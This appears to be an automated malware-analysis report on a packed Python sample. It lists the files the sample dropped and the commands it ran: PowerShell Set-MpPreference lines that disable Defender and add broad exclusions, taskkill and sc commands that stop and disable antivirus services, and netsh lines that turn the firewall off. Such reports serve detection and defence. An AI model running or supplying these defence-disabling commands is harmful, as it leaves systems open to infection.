Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableRealtimeMonitoring $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableIOAVProtection $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableScriptScanning $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -SubmitSamplesConsent 2"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -MAPSReporting 0"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionPath C:\"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension .exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension .dll"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension .tmp"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension .bat"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension .ps1"
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM msmpeng.exe
- '<SYSTEM32>\taskkill.exe' /F /IM msmpsvc.exe
- '<SYSTEM32>\taskkill.exe' /F /IM securityhealthsystray.exe
- '<SYSTEM32>\taskkill.exe' /F /IM securityhealthservice.exe
- '<SYSTEM32>\taskkill.exe' /F /IM defender.exe
- '<SYSTEM32>\taskkill.exe' /F /IM windefend.exe
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
- '<SYSTEM32>\taskkill.exe' /F /IM avp.exe
- '<SYSTEM32>\taskkill.exe' /F /IM avpui.exe
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\securityhealthsystray.exe
Modifies file system
Creates the following files
- %TEMP%\_mei5762\pythonwin\mfc140u.dll
- %TEMP%\_mei5762\pythonwin\win32ui.pyd
- %TEMP%\_mei5762\vcruntime140.dll
- %TEMP%\_mei5762\vcruntime140_1.dll
- %TEMP%\_mei5762\_bz2.pyd
- %TEMP%\_mei5762\_ctypes.pyd
- %TEMP%\_mei5762\_decimal.pyd
- %TEMP%\_mei5762\_hashlib.pyd
- %TEMP%\_mei5762\_lzma.pyd
- %TEMP%\_mei5762\_socket.pyd
- %TEMP%\_mei5762\_wmi.pyd
- %TEMP%\_mei5762\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei5762\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei5762\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei5762\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei5762\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei5762\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei5762\base_library.zip
- %TEMP%\_mei5762\libcrypto-3.dll
- %TEMP%\_mei5762\libffi-8.dll
- %TEMP%\_mei5762\python313.dll
- %TEMP%\_mei5762\pywin32_system32\pythoncom313.dll
- %TEMP%\_mei5762\pywin32_system32\pywintypes313.dll
- %TEMP%\_mei5762\select.pyd
- %TEMP%\_mei5762\ucrtbase.dll
- %TEMP%\_mei5762\unicodedata.pyd
- %TEMP%\_mei5762\win32\_win32sysloader.pyd
- %TEMP%\_mei5762\win32\win32api.pyd
- %TEMP%\_mei5762\win32\win32event.pyd
- %TEMP%\_mei5762\win32\win32service.pyd
- %TEMP%\_mei5762\win32\win32trace.pyd
- %TEMP%\_mei5762\win32com\shell\shell.pyd
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM msmpeng.exe"
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM msmpsvc.exe"
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM securityhealthsystray.exe"
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM securityhealthservice.exe"
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM defender.exe"
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM windefend.exe"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableBehaviorMonitoring $true"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisablePrivacyMode $true"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableArchiveScanning $true"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableScriptScanning $true""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableCatchupFullScan $true""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableCatchupFullScan $true"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan $true""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableCatchupQuickScan $true"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -MAPSReporting 0""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -ModerateThreatDefaultAction 6"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -LowThreatDefaultAction 6"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -SevereThreatDefaultAction 6"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionPath C:\""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .exe""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .dll""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .tmp""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .bat""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .ps1""
- '<SYSTEM32>\cmd.exe' /c "sc stop "WinDefend""
- '<SYSTEM32>\sc.exe' stop "WinDefend"
- '<SYSTEM32>\cmd.exe' /c "sc config "WinDefend" start= disabled"
- '<SYSTEM32>\sc.exe' config "WinDefend" start= disabled
- '<SYSTEM32>\cmd.exe' /c "sc stop "Sense""
- '<SYSTEM32>\sc.exe' stop "Sense"
- '<SYSTEM32>\cmd.exe' /c "sc config "Sense" start= disabled"
- '<SYSTEM32>\sc.exe' config "Sense" start= disabled
- '<SYSTEM32>\cmd.exe' /c "sc stop "WdNisSvc""
- '<SYSTEM32>\sc.exe' stop "WdNisSvc"
- '<SYSTEM32>\cmd.exe' /c "sc config "WdNisSvc" start= disabled"
- '<SYSTEM32>\sc.exe' config "WdNisSvc" start= disabled
- '<SYSTEM32>\cmd.exe' /c "sc stop "SecurityHealthService""
- '<SYSTEM32>\sc.exe' stop "SecurityHealthService"
- '<SYSTEM32>\cmd.exe' /c "sc config "SecurityHealthService" start= disabled"
- '<SYSTEM32>\sc.exe' config "SecurityHealthService" start= disabled
- '<SYSTEM32>\cmd.exe' /c "sc stop "wscsvc""
- '<SYSTEM32>\sc.exe' stop "wscsvc"
- '<SYSTEM32>\cmd.exe' /c "sc config "wscsvc" start= disabled"
- '<SYSTEM32>\sc.exe' config "wscsvc" start= disabled
- '<SYSTEM32>\cmd.exe' /c "sc stop "MsMpSvc""
- '<SYSTEM32>\sc.exe' stop "MsMpSvc"
- '<SYSTEM32>\cmd.exe' /c "sc config "MsMpSvc" start= disabled"
- '<SYSTEM32>\sc.exe' config "MsMpSvc" start= disabled
- '<SYSTEM32>\cmd.exe' /c "sc stop "NisSrv""
- '<SYSTEM32>\sc.exe' stop "NisSrv"
- '<SYSTEM32>\cmd.exe' /c "sc config "NisSrv" start= disabled"
- '<SYSTEM32>\sc.exe' config "NisSrv" start= disabled
- '<SYSTEM32>\cmd.exe' /c "schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /DISABLE"
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /DISABLE
- '<SYSTEM32>\cmd.exe' /c "schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /DISABLE"
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /DISABLE
- '<SYSTEM32>\cmd.exe' /c "schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /DISABLE"
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /DISABLE
- '<SYSTEM32>\cmd.exe' /c "schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /DISABLE"
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /DISABLE
- '<SYSTEM32>\cmd.exe' /c "netsh advfirewall set allprofiles state off"
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM avp.exe"
- '<SYSTEM32>\cmd.exe' /c "sc stop "avp""
- '<SYSTEM32>\sc.exe' stop "avp"
- '<SYSTEM32>\cmd.exe' /c "sc config "avp" start= disabled"
- '<SYSTEM32>\sc.exe' config "avp" start= disabled
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM avpui.exe"
- '<SYSTEM32>\cmd.exe' /c "sc stop "avpui""
- '<SYSTEM32>\sc.exe' stop "avpui"
- '<SYSTEM32>\cmd.exe' /c "sc config "avpui" start= disabled"
- '<SYSTEM32>\sc.exe' config "avpui" start= disabled
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM bdagent.exe"
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM msmpeng.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM msmpsvc.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM securityhealthsystray.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM securityhealthservice.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM defender.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM windefend.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableScriptScanning $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableCatchupFullScan $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan $true""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -MAPSReporting 0""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionPath C:\""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .tmp""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .bat""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -command "Add-MpPreference -ExclusionExtension .ps1""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc stop "WinDefend""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "WinDefend" start= disabled"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc stop "Sense""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "Sense" start= disabled"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc stop "WdNisSvc""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "WdNisSvc" start= disabled"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc stop "SecurityHealthService""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "SecurityHealthService" start= disabled"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc stop "wscsvc""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "wscsvc" start= disabled"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc stop "MsMpSvc""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "MsMpSvc" start= disabled"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc stop "NisSrv""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "NisSrv" start= disabled"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /DISABLE"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /DISABLE"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /DISABLE"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /DISABLE"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "netsh advfirewall set allprofiles state off"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM avp.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc stop "avp""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "avp" start= disabled"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM avpui.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc stop "avpui""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "avpui" start= disabled"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "taskkill /F /IM bdagent.exe"' (with hidden window)
